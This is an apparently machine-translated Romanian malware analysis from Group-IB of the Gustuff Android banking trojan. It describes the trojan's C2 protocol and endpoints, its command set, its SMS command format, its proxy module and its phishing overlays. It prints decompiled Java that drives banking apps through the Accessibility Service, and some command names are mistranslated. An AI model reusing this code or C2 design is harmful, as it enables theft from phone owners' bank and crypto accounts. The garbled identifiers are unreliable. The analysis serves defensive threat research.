Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs

Chiar zilele trecute, Grupa-IB informat despre activitatea dispozitivului mobil Android Trojan Gustuff. Funcționează exclusiv pe piețele internaționale, atacând clienții celor mai mari 100 de bănci străine, utilizatori de portofele criptomonede mobile 32, precum și resurse mari de comerț electronic. Dar dezvoltatorul Gustuff este un criminal cibernetic vorbitor de rusă sub porecla Bestoffer. Până de curând, el și-a lăudat troianul drept „un produs serios pentru oamenii cu cunoștințe și experiență”.

Specialist în analiza codurilor rău intenționate la Group-IB Ivan Pisarev în cercetările sale, el vorbește în detaliu despre cum funcționează Gustuff și care sunt pericolele sale.

Pe cine caută Gustuff?

Gustuff aparține unei noi generații de malware cu funcții complet automatizate. Potrivit dezvoltatorului, troianul a devenit o versiune nouă și îmbunătățită a malware-ului AndyBot, care din noiembrie 2017 atacă telefoanele Android și fură bani prin intermediul formularelor web de phishing mascandu-se în aplicații mobile ale unor bănci internaționale și sisteme de plată cunoscute. Bestoffer a raportat că prețul de închiriere Gustuff Bot a fost de 800 USD pe lună.

Analiza eșantionului Gustuff a arătat că troianul vizează potențial clienții care utilizează aplicații mobile ale celor mai mari bănci, cum ar fi Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, precum și portofele cripto. Portofel Bitcoin, BitPay, Cryptopay, Coinbase etc.

Creat inițial ca un troian bancar clasic, în versiunea sa actuală Gustuff a extins semnificativ lista de ținte potențiale pentru atac. Pe lângă aplicațiile Android pentru bănci, companii fintech și servicii cripto, Gustuff se adresează utilizatorilor de aplicații marketplace, magazine online, sisteme de plată și mesagerie instant. În special, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut și altele.

Punct de intrare: calcul pentru infecția în masă

Gustuff se caracterizează prin vectorul „clasic” al pătrunderii în smartphone-urile Android prin e-mailuri SMS cu link-uri către APK-uri. Când un dispozitiv Android este infectat cu un troian la comanda serverului, Gustuff se poate răspândi în continuare prin baza de date de contacte a telefonului infectat sau prin baza de date a serverului. Funcționalitatea Gustuff este concepută pentru infectarea în masă și valorificarea maximă a afacerii operatorilor săi - are o funcție unică de „completare automată” în aplicații bancare mobile legitime și portofele cripto, ceea ce vă permite să accelerați și să extindeți furtul de bani.

Un studiu al troianului a arătat că funcția de completare automată a fost implementată în acesta folosind Serviciul de accesibilitate, un serviciu pentru persoanele cu dizabilități. Gustuff nu este primul troian care ocolește cu succes protecția împotriva interacțiunii cu elementele ferestrelor altor aplicații care utilizează acest serviciu Android. Cu toate acestea, utilizarea Serviciului de accesibilitate în combinație cu o umplere auto este încă destul de rară.

După descărcarea pe telefonul victimei, Gustuff, folosind Serviciul de Accesibilitate, este capabil să interacționeze cu elemente de fereastră ale altor aplicații (bancare, criptomonede, precum și aplicații pentru cumpărături online, mesagerie etc.), efectuând acțiunile necesare atacatorilor. . De exemplu, la comanda serverului, un troian poate apăsa butoane și poate modifica valorile câmpurilor de text din aplicațiile bancare. Folosirea mecanismului Serviciului de accesibilitate permite troianului să ocolească mecanismele de securitate utilizate de bănci pentru a contracara troienii mobili din generația anterioară, precum și modificările politicii de securitate implementate de Google în noile versiuni ale sistemului de operare Android. Astfel, Gustuff „știe cum” să dezactiveze protecția Google Protect: conform autorului, această funcție funcționează în 70% din cazuri.

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs

Gustuff poate afișa, de asemenea, notificări PUSH false cu pictograme ale aplicațiilor mobile legitime. Utilizatorul face clic pe notificarea PUSH și vede o fereastră de phishing descărcată de pe server, unde introduce datele solicitate ale cardului bancar sau ale portofelului cripto. Într-un alt scenariu Gustuff, se deschide aplicația în numele căreia a fost afișată notificarea PUSH. În acest caz, malware-ul, la comandă de la server prin intermediul Serviciului de Accesibilitate, poate completa câmpurile de formular ale unei aplicații bancare pentru o tranzacție frauduloasă.

Funcționalitatea Gustuff include, de asemenea, trimiterea de informații despre un dispozitiv infectat către server, capacitatea de a citi/trimite mesaje SMS, trimiterea de solicitări USSD, lansarea SOCKS5 Proxy, urmărirea unui link, trimiterea de fișiere (inclusiv scanări de fotografii ale documentelor, capturi de ecran, fotografii) către server, resetați dispozitivul la setările din fabrică.

Analiza programelor malware

Înainte de a instala o aplicație rău intenționată, sistemul de operare Android arată utilizatorului o fereastră care conține o listă de drepturi solicitate de Gustuff:

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs
Aplicația va fi instalată numai după primirea consimțământului utilizatorului. După lansarea aplicației, troianul va afișa utilizatorului o fereastră:

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs
După care își va elimina pictograma.

Gustuff este ambalat, potrivit autorului, de un ambalator de la FTT. După lansare, aplicația contactează periodic serverul CnC pentru a primi comenzi. Câteva fișiere pe care le-am examinat au folosit o adresă IP ca server de control 88.99.171[.]105 (în continuare îl vom desemna ca <%CnC%>).

După lansare, programul începe să trimită mesaje către server http://<%CnC%>/api/v1/get.php.

Răspunsul este de așteptat să fie JSON în următorul format:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

De fiecare dată când este accesată aplicația, aceasta trimite informații despre dispozitivul infectat. Formatul mesajului este prezentat mai jos. Este de remarcat faptul că câmpurile Complet, suplimentar, Apps и permisiune – optional si va fi trimis doar in cazul unei comenzi de solicitare de la CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Stocarea datelor de configurare

Gustuff stochează informații importante din punct de vedere operațional într-un fișier de preferințe. Numele fișierului, precum și numele parametrilor din acesta, sunt rezultatul calculării sumei MD5 din șir. 15413090667214.6.1<%name%>Unde <%name%> — numele-valoare inițială. Interpretarea Python a funcției de generare a numelui:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

În cele ce urmează o vom desemna ca nameGenerator (intrare).
Deci primul nume de fișier este: nameGenerator ("API_SERVER_LIST"), conține valori cu următoarele denumiri:

Nume variabilă Valoare
nameGenerator ("API_SERVER_LIST") Conține o listă de adrese CnC sub forma unui tablou.
nameGenerator ("API_SERVER_URL") Conține adresa CnC.
nameGenerator ("SMS_UPLOAD") Steagul este setat implicit. Dacă steagul este setat, trimite mesaje SMS către CnC.
nameGenerator ("SMS_ROOT_NUMBER") Număr de telefon la care vor fi trimise mesajele SMS primite de dispozitivul infectat. Implicit este nul.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") Steagul este șters în mod implicit. Dacă este instalat, atunci când un dispozitiv infectat primește un SMS, acesta va fi trimis la numărul rădăcină.
nameGenerator ("DEFAULT_APP_SMS") Steagul este șters în mod implicit. Dacă acest indicator este setat, aplicația va procesa mesajele SMS primite.
nameGenerator ("DEFAULT_ADMIN") Steagul este șters în mod implicit. Dacă marcajul este setat, aplicația are drepturi de administrator.
nameGenerator ("DEFAULT_ACCESSIBILITY") Steagul este șters în mod implicit. Dacă marcajul este setat, rulează un serviciu care utilizează Serviciul de accesibilitate.
nameGenerator ("APPS_CONFIG") Un obiect JSON care conține o listă de acțiuni care trebuie efectuate atunci când este declanșat un eveniment de accesibilitate asociat cu o anumită aplicație.
nameGenerator ("APPS_INSTALLED") Stochează o listă de aplicații instalate pe dispozitiv.
nameGenerator ("IS_FIST_RUN") Steagul este resetat la prima pornire.
nameGenerator ("UNIQUE_ID") Conține un identificator unic. Generat când botul este lansat pentru prima dată.

Modul pentru procesarea comenzilor de pe server

Aplicația stochează adresele serverelor CnC sub forma unui tablou codificat de Baza85 linii. Lista serverelor CnC poate fi modificată la primirea comenzii corespunzătoare, caz în care adresele vor fi stocate într-un fișier de preferințe.

Ca răspuns la cerere, serverul trimite o comandă aplicației. Este de remarcat faptul că comenzile și parametrii sunt prezentați în format JSON. Aplicația poate procesa următoarele comenzi:

Echipă descriere
forwardStart Începeți să trimiteți mesajele SMS primite de dispozitivul infectat către serverul CnC.
înainteStop Nu mai trimiteți mesaje SMS primite de dispozitivul infectat către serverul CnC.
ussdRun Executați cererea USSD. Numărul la care trebuie să faceți o solicitare USSD se află în câmpul JSON „număr”.
Trimite SMS Trimiteți un mesaj SMS (dacă este necesar, mesajul este „divizat” în părți). Ca parametru, comanda preia un obiect JSON care conține câmpurile „la” - numărul destinației și „corpul” - corpul mesajului.
trimiteSmsAb Trimiteți mesaje SMS (dacă este necesar, mesajul este „divizat” în părți) tuturor celor din lista de contacte a dispozitivului infectat. Intervalul dintre trimiterea mesajelor este de 10 secunde. Corpul mesajului se află în câmpul JSON „corp”
trimiteSmsMass Trimiteți mesaje SMS (dacă este necesar, mesajul este „divizat” în părți) la contactele specificate în parametrii comenzii. Intervalul dintre trimiterea mesajelor este de 10 secunde. Ca parametru, comanda preia o matrice JSON (câmpul „sms”), ale cărei elemente conțin câmpurile „către” - numărul destinației și „corpul” - corpul mesajului.
changeServer Această comandă poate lua o valoare cu cheia „url” ca parametru - apoi botul va schimba valoarea nameGenerator ("SERVER_URL") sau „array” - apoi botul va scrie matricea în nameGenerator ("API_SERVER_LIST") Astfel, aplicația schimbă adresa serverelor CnC.
adminNumber Comanda este proiectată să funcționeze cu un număr rădăcină. Comanda acceptă un obiect JSON cu următorii parametri: „number” — schimbă nameGenerator(„ROOT_NUMBER”) la valoarea primită, „resend” — change nameGenerator(„SMS_ROOT_NUMBER_RESEND”), „sendId” — trimite la nameGenerator (“ROOT_NUMBER” ) ID unic.
actualizare Info Trimiteți informații despre dispozitivul infectat către server.
wipeData Comanda are scopul de a șterge datele utilizatorului. În funcție de ce nume a fost lansată aplicația, fie datele sunt șterse complet cu o repornire a dispozitivului (utilizator principal), fie numai datele utilizatorului sunt șterse (utilizator secundar).
socksStart Lansați modulul Proxy. Funcționarea modulului este descrisă într-o secțiune separată.
socksStop Opriți modulul Proxy.
deschide link-ul Urmați linkul. Link-ul se află în parametrul JSON sub cheia „url”. „android.intent.action.VIEW” este folosit pentru a deschide linkul.
uploadAllSms Trimiteți toate mesajele SMS primite de dispozitiv către server.
încărcațiToate Fotografiile Trimiteți imagini de pe un dispozitiv infectat la o adresă URL. URL-ul vine ca parametru.
incarca fisier Trimiteți un fișier la o adresă URL de pe un dispozitiv infectat. URL-ul vine ca parametru.
încărcațiPhoneNumbers Trimiteți numere de telefon din lista dvs. de contacte către server. Dacă o valoare de obiect JSON cu cheia „ab” este primită ca parametru, aplicația primește o listă de contacte din agenda telefonică. Dacă un obiect JSON cu cheia „sms” este primit ca parametru, aplicația citește lista de contacte de la expeditorii de mesaje SMS.
changeArhive Aplicația descarcă fișierul de la adresa care vine ca parametru folosind tasta „url”. Fișierul descărcat este salvat cu numele „archive.zip”. Aplicația va dezarhiva apoi fișierul, folosind opțional parola de arhivă „b5jXh37gxgHBrZhQ4j3D”. Fișierele dezarhivate sunt salvate în directorul [stocare externă]/hgps. În acest director, aplicația stochează falsuri web (descrise mai jos).
acțiuni Comanda este proiectată să funcționeze cu Action Service, care este descris într-o secțiune separată.
test Facand nimic.
Descarca Comanda are scopul de a descărca un fișier de pe un server la distanță și de a-l salva în directorul „Descărcări”. URL-ul și numele fișierului vin ca parametru, câmpurile din obiectul parametru JSON, respectiv: „url” și „fileName”.
scoate Elimină un fișier din directorul „Descărcări”. Numele fișierului vine într-un parametru JSON cu cheia „fileName”. Numele standard al fișierului este „tmp.apk”.
notificare Afișați o notificare cu texte de descriere și titlu definite de serverul de management.

Format de comandă notificare:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Notificarea generată de dosarul investigat arată identic cu notificările generate de aplicația specificată în câmp aplicaţia. Dacă valoarea câmpului deschide aplicatia — Adevărat, atunci când se deschide o notificare, se lansează aplicația specificată în câmp aplicaţia. Dacă valoarea câmpului deschide aplicatia — Fals, atunci:

  • Se deschide o fereastră de phishing, al cărei conținut este descărcat din director <%stocare externă%>/hgps/<%filename%>
  • Se deschide o fereastră de phishing, al cărei conținut este descărcat de pe server <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Se deschide o fereastră de phishing, deghizată ca un card Google Play, cu posibilitatea de a introduce detaliile cardului.

Aplicația trimite rezultatul oricărei comenzi către <%CnC%>set_state.php ca obiect JSON în următorul format:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Lista comenzilor pe care le procesează aplicația include acțiune. Când se primește o comandă, modulul de procesare a comenzii accesează acest serviciu pentru a executa comanda extinsă. Serviciul acceptă un obiect JSON ca parametru. Serviciul poate executa următoarele comenzi:

1. PARAMS_ACTION — atunci când primește o astfel de comandă, serviciul primește mai întâi de la parametrul JSON valoarea cheii Type, care poate fi după cum urmează:

  • service Info – subcomanda primește valoarea prin cheie din parametrul JSON includeNotImportant. Dacă steag-ul este True, aplicația îl setează FLAG_ISOLATED_PROCESS la un serviciu care utilizează Serviciul de accesibilitate. În acest fel, serviciul va fi lansat într-un proces separat.
  • rădăcină — primiți și trimiteți către server informații despre fereastra care este în prezent focalizată. Aplicația obține informații folosind clasa AccessibilityNodeInfo.
  • admin — solicitați drepturi de administrator.
  • întârziere — suspendați ActionsService pentru numărul de milisecunde specificat în parametrul pentru cheia „date”.
  • ferestre — trimite o listă de ferestre vizibile utilizatorului.
  • instala — instalați aplicația pe dispozitivul infectat. Numele pachetului de arhivă este în cheia „fileName”. Arhiva în sine se află în directorul Descărcări.
  • global – subcomanda este destinată să navigheze din fereastra curentă:
    • în meniul Setări rapide
    • în urmă
    • Acasă
    • la notificări
    • la fereastra de aplicații deschisă recent

  • lansa - lansați aplicația. Numele aplicației vine ca parametru după cheie de date.
  • sunete — schimbați modul de sunet în tăcere.
  • deschide — pornește lumina de fundal a ecranului și a tastaturii la luminozitate maximă. Aplicația efectuează această acțiune folosind WakeLock, specificând șirul [Application lable]:INFO ca etichetă
  • permissionOverlay — funcția nu este implementată (răspunsul la executarea comenzii este {"message":"Nu este suportat"} sau {"message":"low sdk"})
  • gest — funcția nu este implementată (răspunsul la executarea comenzii este {"message":"Nu este suportat"}sau {"message":"Low API"})
  • permisiuni — această comandă este necesară pentru a solicita permisiuni pentru aplicație. Cu toate acestea, funcția de interogare nu este implementată, deci comanda este lipsită de sens. Lista drepturilor solicitate vine ca o matrice JSON cu cheia „permisiuni”. Lista standard:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • deschide — afișați o fereastră de phishing. În funcție de parametrul care vine de la server, aplicația poate afișa următoarele ferestre de phishing:
    • Afișați o fereastră de phishing al cărei conținut este scris într-un fișier dintr-un director <%director extern%>/hgps/<%param_filename%>. Rezultatul interacțiunii utilizatorului cu fereastra va fi trimis către <%CnC%>/records.php
    • Afișați o fereastră de phishing al cărei conținut este preîncărcat de la adresă <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Rezultatul interacțiunii utilizatorului cu fereastra va fi trimis către <%CnC%>/records.php
    • Afișați o fereastră de phishing deghizată în card Google Play.

  • interactiv — comanda este concepută pentru a interacționa cu elementele ferestrei altor aplicații folosind AcessibilityService. Un serviciu special a fost implementat în program pentru interacțiune. Aplicația investigată poate interacționa cu Windows:
    • Momentan activ. În acest caz, parametrul conține id-ul sau textul (numele) obiectului cu care trebuie să interacționați.
    • Vizibil pentru utilizator în momentul executării comenzii. Aplicația selectează Windows după id.

    După ce au primit obiecte AccesibilityNodeInfo Pentru elementele ferestrei de interes, aplicația, în funcție de parametri, poate efectua următoarele acțiuni:

    • focus — setați focalizarea obiectului.
    • click — faceți clic pe un obiect.
    • actionId — efectuați o acțiune după ID.
    • setText — schimba textul unui obiect. Modificarea textului este posibilă în două moduri: efectuați o acțiune ACTION_SET_TEXT (dacă versiunea Android a dispozitivului infectat este mai tânără sau egală cu ACADEA), sau plasând un șir pe clipboard și lipindu-l într-un obiect (pentru versiunile mai vechi). Această comandă poate fi folosită pentru a modifica datele dintr-o aplicație bancară.

2. PARAMS_ACTIONS - la fel ca PARAMS_ACTION, sosește doar o matrice JSON de comenzi.

Se pare că mulți oameni vor fi interesați de cum arată funcția de interacțiune cu elementele ferestrei unei alte aplicații. Iată cum este implementată această funcționalitate în Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funcția de înlocuire a textului:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Astfel, cu configurarea corectă a serverului de control, Gustuff este capabil să completeze câmpuri de text în aplicația bancară și să apese pe butoanele necesare pentru a finaliza tranzacția. Troianul nici măcar nu trebuie să se conecteze la aplicație – este suficient să trimiți o comandă pentru a afișa o notificare PUSH și apoi să deschizi aplicația bancară instalată anterior. Utilizatorul se va autentifica, după care Gustuff va putea umple mașina.

Modul de procesare a mesajelor SMS

Aplicația instalează un handler de evenimente pentru ca dispozitivul infectat să accepte mesaje SMS. Aplicația studiată poate primi comenzi de la operator, care vin în corpul mesajului SMS. Comenzile vin în formatul:

7!5=<%Comandă codificată în Base64%>

Aplicația caută șirul în toate mesajele SMS primite 7!5=, când este detectat un șir, acesta decodifică șirul din Base64 la offset 4 și execută comanda. Comenzile sunt similare cu cele cu CnC. Rezultatul execuției este trimis la același număr de la care a venit comanda. Format de răspuns:

7*5=<%Codificarea de bază64 a „comandei rezultat_code”%>

Opțional, aplicația poate trimite toate mesajele primite la numărul Root. Pentru a face acest lucru, numărul rădăcină trebuie specificat în fișierul de preferințe și trebuie setat indicatorul de redirecționare a mesajului. Un mesaj SMS este trimis la numărul atacatorului în formatul:

<%From number%> - <%Time, format: zz/LL/aaaa HH:mm:ss%> <%SMS body%>

De asemenea, opțional, aplicația poate trimite mesaje către CnC. Mesajul SMS este trimis la server în format JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Dacă steagul este pus nameGenerator ("DEFAULT_APP_SMS") – aplicația oprește procesarea mesajului SMS și șterge lista de mesaje primite.

Modul proxy

Aplicația studiată conține un modul Backconnect Proxy (denumit în continuare modul Proxy), care are o clasă separată care include câmpuri statice cu configurație. Datele de configurare sunt stocate în eșantion în formă clară:

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs

Toate acțiunile efectuate de modulul Proxy sunt conectate în fișiere. Pentru a face acest lucru, aplicația din External Storage creează un director numit „jurnal” (câmpul ProxyConfigClass.logsDir din clasa de configurare), în care sunt stocate fișierele jurnal. Înregistrarea are loc în fișierele cu nume:

  1. main.txt – munca clasei numită CommandServer este conectată în acest fișier. În cele ce urmează, înregistrarea șirului str în acest fișier va fi notat ca mainLog(str).
  2. sesiune-<%id%>.txt — acest fișier salvează datele de jurnal asociate cu o anumită sesiune proxy. În cele ce urmează, înregistrarea șirului str în acest fișier va fi notat ca sessionLog (str).
  3. server.txt – acest fișier este folosit pentru a înregistra toate datele scrise în fișierele descrise mai sus.

Format de date jurnal:

<%Date%> [Thread[<%thread id%>], id[]]: șir de jurnal

Excepțiile care apar în timpul funcționării modulului Proxy sunt, de asemenea, înregistrate într-un fișier. Pentru a face acest lucru, aplicația generează un obiect JSON în următorul format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Apoi îl convertește într-o reprezentare șir și îl înregistrează.

Modulul Proxy este lansat după primirea comenzii corespunzătoare. Când se primește o comandă de lansare a modulului Proxy, aplicația pornește un serviciu numit Serviciul principal, care este responsabil pentru gestionarea funcționării modulului Proxy - pornirea și oprirea acestuia.

Etapele pornirii serviciului:

1. Pornește un cronometru care rulează o dată pe minut și verifică activitatea modulului Proxy. Dacă modulul nu este activ, îl pornește.
De asemenea, atunci când evenimentul este declanșat android.net.conn.CONNECTIVITY_CHANGE Este lansat modulul Proxy.

2. Aplicația creează un wake-lock cu parametrul PARTIAL_WAKE_LOCK și îl prinde. Acest lucru împiedică CPU-ul dispozitivului să intre în modul de repaus.

3. Lansează clasa de procesare a comenzilor a modulului Proxy, înregistrând mai întâi linia mainLog ("porniți serverul") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

unde proxy_cnc, port_comandă și port_proxy – parametrii obținuți din configurația serverului proxy.

Se apelează clasa de procesare a comenzilor CommandConnection. Imediat după pornire, efectuează următoarele acțiuni:

4. Se conectează la ProxyConfigClass.host: ProxyConfigClass.commandPort și trimite acolo date despre dispozitivul infectat în format JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

În cazul în care:

  • id – identificator, încearcă să obțină o valoare cu câmpul „id” din fișierul Shared Preference numit „x”. Dacă această valoare nu poate fi obținută, se generează una nouă. Astfel, modulul Proxy are propriul său identificator, care este generat similar cu ID-ul Bot.
  • imei — IMEI al dispozitivului. Dacă a apărut o eroare în timpul procesului de obținere a valorii, în locul acestui câmp va fi scris un mesaj text de eroare.
  • imsi — Identitatea internațională de abonat mobil al dispozitivului. Dacă a apărut o eroare în timpul procesului de obținere a valorii, în locul acestui câmp va fi scris un mesaj text de eroare.
  • model — Numele vizibil pentru utilizatorul final pentru produsul final.
  • producător — Producătorul produsului/hardware-ului (Build.MANUFACTURER).
  • androidVersion - un șir în formatul „<%release_version%> (<%os_version%>),<%sdk_version%>”
  • țară — locația curentă a dispozitivului.
  • partnerId este un șir gol.
  • packageName – numele pachetului.
  • networkType — tipul de conexiune la rețea curentă (exemplu: „WIFI”, „MOBIL”). În caz de eroare, returnează null.
  • hasGsmSupport – adevărat – dacă telefonul acceptă GSM, altfel fals.
  • simReady – starea cartelei SIM.
  • simCountry - cod ISO de țară (pe baza furnizorului de cartelă SIM).
  • networkOperator — numele operatorului. Dacă a apărut o eroare în timpul procesului de obținere a valorii, în locul acestui câmp va fi scris un mesaj text de eroare.
  • simOperator — Numele furnizorului de servicii (SPN). Dacă a apărut o eroare în timpul procesului de obținere a valorii, în locul acestui câmp va fi scris un mesaj text de eroare.
  • versiune - acest câmp este stocat în clasa de configurare; pentru versiunile testate ale botului a fost egal cu „1.6”.

5. Comută la modul de așteptare a comenzilor de la server. Comenzile de pe server vin în formatul:

  • 0 offset – comandă
  • 1 offset – ID sesiune
  • 2 offset – lungime
  • 4 offset - date

Când sosește o comandă, aplicația înregistrează:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

Sunt posibile următoarele comenzi de pe server:

Nume si Prenume Comandă Date Descriere
connectionId 0 ID conexiune Creați o nouă conexiune
SLEEP 3 Timp Întrerupeți modulul Proxy
TENIS DE MASA 4 - Trimite mesaj PONG

Un mesaj PONG este format din 4 octeți și arată astfel: 0x04000000.

Când se primește comanda connectionId (pentru a crea o nouă conexiune) CommandConnection creează o instanță a unei clase ProxyConnection.

  • Două clase participă la proxy: ProxyConnection и capăt. La crearea unei clase ProxyConnection conectarea la adresa ProxyConfigClass.host: ProxyConfigClass.proxyPort și transmiterea obiectului JSON:

 {
    "id":<%connectionId%>
}

Ca răspuns, serverul trimite un mesaj SOCKS5 care conține adresa serverului la distanță cu care trebuie stabilită conexiunea. Interacțiunea cu acest server are loc prin intermediul clasei capăt. Configurarea conexiunii poate fi reprezentată schematic după cum urmează:

Cum troianul Android Gustuff elimină crema (fiat și crypto) din conturile dvs

Interacțiuni în rețea

Pentru a preveni analiza traficului de către sniffer de rețea, interacțiunea dintre serverul CnC și aplicație poate fi protejată folosind protocolul SSL. Toate datele transmise atât de la cât și către server sunt prezentate în format JSON. Aplicația execută următoarele solicitări în timpul funcționării:

  • http://<%CnC%>/api/v1/set_state.php — rezultatul executării comenzii.
  • http://<%CnC%>/api/v1/get.php - primirea unei comenzi.
  • http://<%CnC%>/api/v1/load_sms.php — descărcarea mesajelor SMS de pe un dispozitiv infectat.
  • http://<%CnC%>/api/v1/load_ab.php — încărcarea unei liste de contacte de pe un dispozitiv infectat.
  • http://<%CnC%>/api/v1/aevents.php – solicitarea se face la actualizarea parametrilor aflați în fișierul de preferințe.
  • http://<%CnC%>/api/v1/set_card.php — încărcarea datelor obținute folosind o fereastră de phishing mascată drept Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – încărcarea datelor de jurnal.
  • http://<%CnC%>/api/v1/records.php – încărcarea datelor obținute prin ferestre de phishing.
  • http://<%CnC%>/api/v1/set_error.php – notificarea unei erori care a apărut.

Recomandări

Pentru a-și proteja clienții de amenințarea troienilor mobili, companiile trebuie să utilizeze soluții cuprinzătoare care să le permită să monitorizeze și să prevină activitățile rău intenționate fără a instala software suplimentar pe dispozitivele utilizatorilor.

Pentru a face acest lucru, metodele de semnătură pentru detectarea troienilor mobili trebuie consolidate cu tehnologii pentru analizarea comportamentului atât al clientului, cât și al aplicației în sine. Protecția ar trebui să includă și o funcție de identificare a dispozitivului folosind tehnologia de amprentă digitală, care va face posibilă înțelegerea când un cont este utilizat de pe un dispozitiv atipic și a căzut deja în mâinile unui fraudator.

